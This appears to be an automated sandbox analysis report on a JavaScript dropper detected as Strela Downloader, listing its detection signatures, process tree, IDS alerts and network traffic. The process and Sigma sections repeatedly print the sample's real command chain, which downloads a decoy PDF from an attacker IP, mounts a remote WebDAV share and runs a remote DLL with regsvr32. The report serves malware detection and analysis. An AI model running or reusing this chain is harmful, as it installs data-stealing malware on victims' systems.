Edit tour

Windows Analysis Report
12621132703258916868.js

Overview

General Information

Sample name:	12621132703258916868.js
Analysis ID:	1588347
MD5:	024cb07ba789e6b9085c589ec5455fdf
SHA1:	f490b704e6b225f19431a9196cc0e25cb8bb7665
SHA256:	de2da874d4698eab6bc427f50bcfe44c57770ea644b2111d12e87715544a984d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7788 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7956 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,1866597272074241838,1758888872078513617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5632 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5908 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7464	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7956, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7956, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5908, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49755

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7956, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5908, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1836, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5908, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 7788, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:01:12.566999+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49738	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:01:15.023790+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49755	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:01:12.566999+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49738	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 12621132703258916868.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 12621132703258916868.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49738 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49755 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:01:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 8888
